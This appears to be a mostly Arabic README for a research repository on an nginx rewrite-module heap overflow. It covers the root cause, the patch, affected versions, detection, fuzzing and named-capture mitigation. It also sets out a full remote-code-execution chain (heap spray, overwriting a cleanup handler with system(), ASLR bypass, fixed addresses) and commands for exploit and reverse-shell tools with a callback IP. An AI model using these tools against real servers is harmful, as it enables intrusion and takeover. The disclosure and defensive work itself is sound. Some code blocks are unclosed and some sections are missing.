location ~ ^/api/(.*)$ {
    rewrite ^/api/(.*)$ /internal?migrated=true;
    set $original_endpoint $1;
}

**Key requirements:**
- توجيه `rewrite` يحتوي بديله على `?` (فاصل سلسلة الاستعلام)
- توجيه `set` أو `if` أو `rewrite` لاحق يشير إلى **التقاط PCRE غير مُسمّى** (`$1`، `$2`، إلخ.)
- علامة `?` في بديل `rewrite` تؤدي إلى تشغيل `ngx_http_script_start_args_code` الذي يضبط `e->is_args = 1`

### ما يمكن أن يحققه المهاجم

| Capability | Description |
|-----------|-------------|
| **رفض الخدمة** | تعطل عمليات العامل بشكل حتمي، مما يسبب حلقات إعادة تشغيل (تعمل بغض النظر عن ASLR) |
| **تنفيذ التعليمات البرمجية عن بُعد** | مع تعطيل ASLR (أو تجاوزه عبر الكتابة الجزئية الفوقية)، يمكن تحقيق RCE كاملة كمستخدم nginx |
| **سرقة البيانات** | عبر بدائيات قراءة الذاكرة، يمكن استخراج بيانات حساسة من كومة العامل |
| **الثبات** | زرع أبواب خلفية عبر تنفيذ التعليمات البرمجية في ذاكرة عملية العامل |

---

## 2. تحليل السبب الجذري

### محرك البرمجة النصية ثنائي المرور

تستخدم وحدة `ngx_http_rewrite_module` في NGINX **محرك برمجة نصية ثنائي المرور** في `src/http/ngx_http_script.c`:

1. **مرحلة الطول** (`ngx_http_script_run`): يتكرر عبر جميع أكواد البرمجة النصية لحساب الحجم الإجمالي المطلوب للمخزن المؤقت. يكتب الأطوال إلى `le.ip` و `le.pos`.
2. **مرحلة النسخ** (`ngx_http_script_copy_len`/`_code`): يتكرر مرة أخرى، ويكتب البايتات الفعلية في المخزن المؤقت المخصص مسبقًا عند `e->ip` و `e->pos`.

كل كود برمجي له معالِجان: واحد لكل مرحلة. على سبيل المثال:
- `ngx_http_script_copy_len` → `ngx_http_script_copy_code`
- `ngx_http_script_start_args_len` → `ngx_http_script_start_args_code`

### علامة `is_args`

تتحكم العلامة `e->is_args` في **بنية المحرك** (`ngx_http_script_engine_t`) في كيفية تعامل مرحلة النسخ مع أحرف معينة:```c
typedef struct {
    u_char                  *ip;
    u_char                  *pos;
    ngx_http_variable_value_t *sp;
    ngx_str_t               buf;
    int                     flushed;
    unsigned                is_args:1;    // <-- THE BUG
    unsigned                ncaptures:1;
    ngx_uint_t              captures_size;
    // ...
} ngx_http_script_engine_t;

1. أثناء **تقييم إعادة الكتابة**، يصادف المحرك `?` في سلسلة الاستبدال، مما يؤدي إلى تشغيل `ngx_http_script_start_args_code`، وضبط `e->is_args = 1`.
2. تقوم إعادة الكتابة بتعديل URI الخاص بالطلب ثم تتابع إلى التوجيه التالي.
3. **لا يتم مسح `e->is_args` أبدًا**.

ثم:```
set $original_endpoint $1;

نسبة التوسع هي `7 + (n_escapable * 2)` حيث `n_escapable` هو عدد `+` و`%` و`&` في الالتقاط.

---

## 3. آليات الاستغلال

### نظرة عامة

| الخطوة | التقنية | الوصف |
|------|-----------|-------------|
| 1 | تجاوز السعة | أرسل URI مصنوعًا بحشو `+` لتجاوز سعة مخزن الكومة المؤقت |
| 2 | رش الكومة | أرسل طلبات POST بأجسام كبيرة إلى `/spray` لملء الكومة ببيانات مُتحكم بها |
| 3 | فنغ شوي | رتّب التخصيصات بحيث يكون هدف التجاوز (`ngx_pool_cleanup_t`) مجاورًا |
| 4 | إفساد المعالج | يستبدل التجاوز `ngx_pool_cleanup_t.handler` بعنوان `system()` |
| 5 | تفعيل التنظيف | انتظر تدمير التجمع → ينفّذ `system(cmd)` أمر المهاجم |
| 6 | الصدفة العكسية | سلسل إلى حمولة صدفة عكسية للوصول التفاعلي |

### فنغ شوي عبر الطلبات

**يفشل فنغ شوي أحادي الطلب** لأن التجاوز يُفسد البيانات الوصفية للتجمع (`->d.next`, `->d.failed`) قبل الوصول إلى مؤشر `cleanup`. عندما يُدمَّر التجمع في نهاية الطلب، تتسبب البيانات الوصفية المُفسدة في **تعطل قبل استدعاء `system()`**.

بدلاً من ذلك، يستخدم الاستغلال **فنغ شوي عبر الطلبات**:
1. **الطلب 1 (رش)**: أرسل جسمًا كبيرًا عبر POST إلى `/spray`. يُبقي الخادم الخلفي (`server.py`) الاستجابة مع ترويسة `X-Delay`، مما يُبقي الاتصال مفتوحًا ويُحافظ على تخصيص الكومة. يملأ الرشّ الكومة بكتل `ngx_pool_cleanup_t` مزيفة.
2. **الطلب 2 (تجاوز)**: أرسل URI الخاص بالتجاوز. يُفسد التجاوز مؤشر `cleanup` فقط (وليس البيانات الوصفية للتجمع)، موجّهًا إياه إلى الكتلة المزيفة المُرَشّة.
3. **تدمير التجمع**: عندما تكتمل استجابة الرشّ (تنتهي المهلة)، تنتقل سلسلة التنظيف الخاصة بالتجمع إلى الكتلة المزيفة وتستدعي `system(cmd)`.

### متطلبات العناوين

| الرمز | القيمة (Docker، ASLR معطّل) | الوصف |
|--------|--------------------------|-------------|
| `HEAP_BASE` | `0x555555659000` | قاعدة كومة nginx |
| `system@libc` | `0x7ffff6f6e420` | `system()` في glibc |
| `NGX_CYCLES_POOL` | `0x5555556a4040` | مؤشر إلى تجمع cycles |
| عنوان التنظيف المزيف | `0x5555556a4030` | عنوان هدف الرش |

### تجاوز ASLR

بدون تعطيل ASLR، يظل **DoS** (التعطل) يعمل بشكل حتمي. لتحقيق RCE مع تفعيل ASLR، هناك طريقتان:

1. **استبدال جزئي**: استخدم استبدالًا بمقدار 1 بايت أو 2 بايت لتحريك مؤشر داخل نفس الصفحة، مع تخمين النيبلات المتبقية (16–256 محاولة).
2. **تسريب المعلومات**: اقرأ `/proc/self/maps` أو استخدم تحليل الذاكرة في `log_parser.py` لتحديد التخطيط.

---

## 4. تحليل الإصلاح

### الإصلاح الرسمي

**الالتزام**: `524977e7c534e87e5b55739fa74601c9f1102686`  
**الملف**: `src/http/ngx_http_script.c`  
**السطر**: ~1205 (في `ngx_http_script_regex_end_code`)```diff
 void
 ngx_http_script_regex_end_code(ngx_http_script_engine_t *e)
 {
     ngx_http_script_regex_code_t *code;

     code = (ngx_http_script_regex_code_t *) e->ip;

+    e->is_args = 0;    /* ← THE FIX */

     e->ip += sizeof(ngx_http_script_regex_code_t);
     // ...
 }

### Backport Patches

| Patch | Nginx Versions |
|-------|---------------|
| `patches/0001-fix-is_args.patch` | 1.22.x, 1.24.x, 1.26.x, 1.30.0 |
| `patches/backport-1.22.x.patch` | 1.22.0–1.22.1 |
| `patches/backport-1.24.x.patch` | 1.24.0–1.24.1 |
| `patches/backport-1.26.x.patch` | 1.26.0–1.26.1 |

---

## 5. الإصدارات المتأثرة

### NGINX Open Source

| النطاق | الحالة |
|-------|--------|
| **0.1.0 – 0.6.26** | غير متأثر (وحدة rewrite سابقة لظهور الالتقاطات غير المسماة) |
| **0.6.27 – 1.30.0** | **معرض للخطر** (فترة 18 عامًا) |
| **1.30.1** | أول إصدار مُصحَّح |
| **1.31.0+** | تم الإصلاح (mainline) |

### NGINX Plus

| الإصدار | المتأثر | المُصحَّح |
|---------|----------|-------|
| R32 | R32–R32 P5 | R32 P6 |
| R33 | R33–R33 P5 | R33 P6 |
| R34 | R34–R34 P4 | R34 P5 |
| R35 | R35–R35 P1 | R35 P2 |
| R36 | R36–R36 P3 | R36 P4 |

### النظام البيئي لـ NGINX

| المنتج | المتأثر | الحالة |
|---------|----------|--------|
| NGINX Instance Manager | 2.16.0–2.21.1 | الاستشارة معلقة |
| F5 NGINX WAF | 5.9.0–5.12.1 | الاستشارة معلقة |
| NGINX Ingress Controller | 3.5.0–3.7.2, 4.0.0–4.0.1, 5.0.0–5.4.1 | الاستشارة معلقة |
| NGINX Gateway Fabric | 1.3.0–1.6.2, 2.0.0–2.5.1 | الاستشارة معلقة |
| NGINX Service Mesh | 1.6.0–1.6.2, 2.0.0–2.1.0 | الاستشارة معلقة |
| NGINX Agent | 2.0.0–2.35.0 | الاستشارة معلقة |

---

## 6. الاكتشاف

### التحقق من الإصدار```bash
bash detection/detect_vuln.sh

### فحص الحاويات```bash
python3 detection/container_scan.py

---

## 7. التخفيف

### إجراء فوري (بدون تغيير الكود)

استبدل **الالتقاطات غير المسماة** بـ **الالتقاطات المسماة** في جميع توجيهات `rewrite`:```nginx
# VULNERABLE — unnamed capture $1
rewrite ^/users/([0-9]+)/profile/(.*)$ /profile.php?id=$1&tab=$2 last;

# FIXED — named captures
rewrite ^/users/(?<user_id>[0-9]+)/profile/(?<section>.*)$ /profile.php?id=$user_id&tab=$section last;

يطبق إجراءات التقوية التالية:
- التحقق من ASLR وفرض تفعيله
- عزل عمليات العامل (Worker processes)
- تقييد تفريغ النواة (Core dumps)
- تقوية SSL/TLS
- تحديد المعدل (Rate limiting)
- رؤوس CSP

### فحص ASLR```bash
bash detection/check_aslr.sh

---

## 9. البدء السريع```bash
# 1. Build and run vulnerable NGINX
make build && make run
# Or:
cd docker && docker compose up

# 2. Health check
curl http://localhost:19321/
# → {"status":"ok","backend":"direct"}

# 3. Trigger crash (DoS)
python3 exploit/trigger.py --host localhost --port 19321 --plus-count 969
# → Worker crashed (expected) ✓

# 4. Verify recovery
python3 exploit/trigger.py --host localhost --port 19321 --check-alive
# → Server is alive ✓

# 5. Full RCE (ASLR disabled in container)
python3 exploit/exploit.py --host localhost --port 19321 \
    --cmd "whoami > /tmp/pwned"

# 6. Verify RCE
docker compose -f docker/docker-compose.yml exec nginx cat /tmp/pwned

# 7. Check your configs
python3 exploit/config_scanner.py configs/vulnerable.conf

بيئة Docker:
- تبني NGINX من المصدر عند commit `98fc3bb78` (آخر commit ضعيف قبل الإصلاح)
- تتضمن GDB وvalgrind و`util-linux` (لـ `setarch -R` لتعطيل ASLR)
- تعرض المنافذ **19321** (nginx ضعيف)، **19322** (ثانوي)، **19323** (خلفية بايثون)
- يستخدم entrypoint الأمر `setarch x86_64 -R` لتعطيل ASLR للحصول على تخطيط عناوين استغلال حتمي
- يمنح صلاحية `SYS_PTRACE` و`seccomp=unconfined` لتصحيح الأخطاء

### الضعيف فقط```bash
make vuln-container
# Builds: docker build -t nginx-rift-vuln \
#   -f docker/Dockerfile.patched --build-arg NGINX_TYPE=vulnerable docker/

### ASAN حاوية```bash
make asan-container
# Builds: docker build -t nginx-rift-asan -f docker/Dockerfile.asan docker/

---

## 11. تفعيل تجاوز السعة

### الانهيار الأساسي (DoS)```bash
python3 exploit/trigger.py --host localhost --port 19321 --plus-count 969

يتم توسيع أحرف `+` في الالتقاط `$1` بمقدار 3× أثناء تمرير النسخ بينما كان المخزن المؤقت مخصصًا للطول الخام، مما يؤدي إلى تجاوز سعة الكومة.

### المخرجات المتوقعة```
[+] Triggering overflow with 969 plus signs...
[+] Connection established
[+] Payload sent, waiting for crash...
[!] Connection reset — worker crashed as expected
[+] Server is alive — worker respawned

يحسب الحد الأدنى لعدد علامات `+` اللازمة لتجاوز عدد معين من البايتات (مفيد عند استغلال هياكل الكومة المحددة).

### توسعة الأحرف```bash
python3 exploit/escape_calc.py --prefix 349 --plus 969

### الاستخدام الأساسي```bash
# Execute a command on the target
python3 exploit/exploit.py --host localhost --port 19321 \
    --cmd "whoami > /tmp/pwned"

### الخيارات المتقدمة

| Flag | Default | الوصف |
|------|---------|-------------|
| `--host` | `127.0.0.1` | المضيف الهدف |
| `--port` | `19321` | منفذ الهدف |
| `--cmd` | — | الأمر المراد تنفيذه (مطلوب ما لم يُستخدم `--shell`) |
| `--shell` | — | استخدام وضع الصدفة التفاعلي |
| `--tries` | `3` | عدد محاولات الاستغلال |
| `--delay` | `2.0` | التأخير بين عملية الرش والفيضان (بالثواني) |
| `--payload` | — | مسار ملف الحمولة المخصص |
| `--debug` | — | تفعيل مخرجات التصحيح المفصلة |

### تحليل تخطيط الكومة```bash
python3 exploit/heap_layout.py

يجد عناوين الكومة التي لا تتضمن بايتاتها أحرفًا قابلة للهروب (`+`، `%`، `&`، `?`، إلخ) لاستخدامها في بناء حمولات الاستغلال.

---

## 13. التحقق من الصدفة العكسية

### البنية```
shell_manager.py
  │
  ├── shell_payloads.py    → Generate payload strings for 10 shell types
  ├── shell_listener.py    → Start TCP listener (interactive + verify mode)
  ├── exploit/exploit.py   → Send exploit with payload to target
  └── shell_verify.py      → Wait for connection, run commands, verify output

### التحقق الآلي```bash
# Single-shot automated verify
python3 shell/shell_verify.py --target 127.0.0.1 --port 19321 \
    --shell-type python --listen-port 1337 --verify-cmds "id,whoami,hostname"

# Full pipeline across all shell types
bash shell/shell_test_runner.sh

# Orchestrated lifecycle with one command
python3 shell/shell_manager.py --target-host 127.0.0.1 --target-port 19321 \
    --shell-type python --listen-port 1337 --callback-ip 172.17.0.1

---

## 14. التصحيح

### تطبيق الإصلاح```bash
# To nginx source tree
bash tools/apply_fix.sh /path/to/nginx-src patches/0001-fix-is_args.patch

# To current nginx source
patch -p1 < patches/0001-fix-is_args.patch

### تطبيق Backport```bash
bash tools/apply_fix.sh /path/to/nginx-1.22.x patches/backport-1.22.x.patch

---

## 15. الاختبار

### اختبارات الوحدة```bash
# Via Makefile
make test

# Directly
python3 -m pytest test/ -v
# or
python3 -m unittest discover -s test -v

التشغيلات:
1. اختبارات الوحدة (pytest أو unittest)
2. اختبار المشغّل/التجاوز (إذا كان الخادم يعمل)
3. ماسح الإعدادات مقابل الإعدادات الضعيفة والآمنة
4. التحقق من التجربة الجافة للتصحيح

### مصفوفة الانحدار```bash
bash tools/regression_matrix.sh

يختبر جميع أنماط التكوين (الأساسية، المتقدمة، ingress، gateway) مع محفزات تجاوز السعة.

---

## 16. الاختبار التلقيحي

### تسخيرة libFuzzer

تحاكي أداة التلقيح (`fuzz/ngx_http_script_fuzz.c`) محرك السكربت ثنائي المرور:
1. يحلل الإدخال كتسلسل من أكواد السكربت
2. ينفذ مرور الطول
3. ينفذ مرور النسخ مع `e->is_args = 1`
4. يكتشف تجاوز سعة المخزن المؤقت عبر ASAN أو عدم تطابق الحجم```bash
cd fuzz && bash fuzz_build.sh
./build/ngx_script_fuzz corpus/

يُشغّل AFL++ مع ASAN، ومهلة زمنية قابلة للتكوين، وحدود ذاكرة على منصة التضمين (fuzzing harness).

### مجموعة البذور

يحتوي دليل `fuzz/corpus/` على مدخلات بذور تعيد إنتاج النمط القابل للاستغلال، بما في ذلك:
- مشغّل تجاوز أساسي
- التقاط مُسمّى (يجب ألا يتجاوز)
- حالات حافة (التقاط فارغ، حجم أقصى، إلخ.)

---

## 17. خط أنابيب CI

### GitHub Actions

يستخدم المشروع سير عمل **GitHub Actions CI واحد** (`.github/workflows/ci.yml`) يتضمن هذه الوظائف:

| الوظيفة | ماذا يفعل |
|-----|-------------|
| `lint` | ShellCheck، التحقق من صيغة Python |
| `scan-configs` | يشغّل config_scanner.py على جميع نماذج الإعدادات |
| `fuzz-build` | يبني منصة libFuzzer |
| `test` | يشغّل مجموعة اختبارات pytest/unittest |
| `detect-patch` | يتحقق من تنسيق التصحيح ومحتوى الإصلاح |
| `verify-project` | يشغّل `tools/verify_project.sh` |

### خط الأنابيب الكامل```bash
# Bash (Linux/macOS)
bash pipelines/run_all.sh

# PowerShell (Windows)
powershell ./pipelines/run_all.ps1 -SkipDocker